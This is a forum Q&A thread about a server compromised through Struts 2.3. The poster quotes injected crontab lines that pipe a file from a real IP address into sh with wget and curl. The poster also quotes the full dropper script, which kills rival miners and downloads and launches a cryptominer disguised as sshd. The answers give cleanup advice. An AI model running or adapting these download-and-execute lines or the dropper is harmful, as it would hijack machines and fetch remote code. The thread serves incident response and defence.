Struts2.3 Zero Day attack exploited: CronJob getting created

Question

Can someone help understand what exactly is being done through this attack. I was using Struts2.3 in Jboss5 environment. I had some crontabs installed, which went missing instead these two lines are seen in crontab.

#*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
#*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh

Below is the script found in the logo.jpg file which is got through 'wget' from 91.230.47.40

#!/bin/sh
rm -rf /var/tmp/jmpmxfyhiz.conf
ps auxf|grep -v grep|grep -v xxtyligbex|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jmpmxfyhiz"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "xxtyligbex" -e "tmbllmjcex" -e "pclfzagbkh" -e "dqpuewpvxz" -e "gzvcdujihq" -e "bevgesdhbs"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/xxtyligbex.conf
rm -rf /var/tmp/xxtyligbex.conf
curl -o /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
wget -O /var/tmp/xxtyligbex.conf http://91.230.47.40/icons/kworker.conf
chmod 777 /var/tmp/sshd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker
else
curl -o /var/tmp/sshd http://91.230.47.40/icons/kworker_na
wget -O /var/tmp/sshd http://91.230.47.40/icons/kworker_na
fi
chmod +x /var/tmp/sshd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
nohup ./sshd -c xxtyligbex.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

Kindly help me to understand what is being done through this. Also help me remove the possibility of any malware being installed in my server. To cover the vulnerability I have moved my projects to Struts 2.5. Still the crontab keeps coming back even if I remove them.

Answer 1

The descibed actions install a "kworker" tool on your server, which seems to be a bitcoin miner, according to Virustotal.

Since the records appear in /etc/crontab file, most likely you have installed a package with tojan on your system.

To solve this issue, I would recommend reinstalling OS on your server, as the box has been already owned by attackers and they might have installed other malware as well.

Answer 2

I have recently seen a similar attack. Here's what to do:

Find the web-shell... it is most likely one of those: https://github.com/tennc/webshell/tree/master/php/wso so a command like 'find / -iname "wso.php" -type f' should help you finding it. Also there should be an index.html and an up-loader called "ajis.phtml" or similar in that directory. Remove those files. Remove files in "/var/tmp" that is where the malicious sshd file and the config for the mining pool lies. Update Struts, reboot and that's it...

obviously remove the cronjobs...

cheers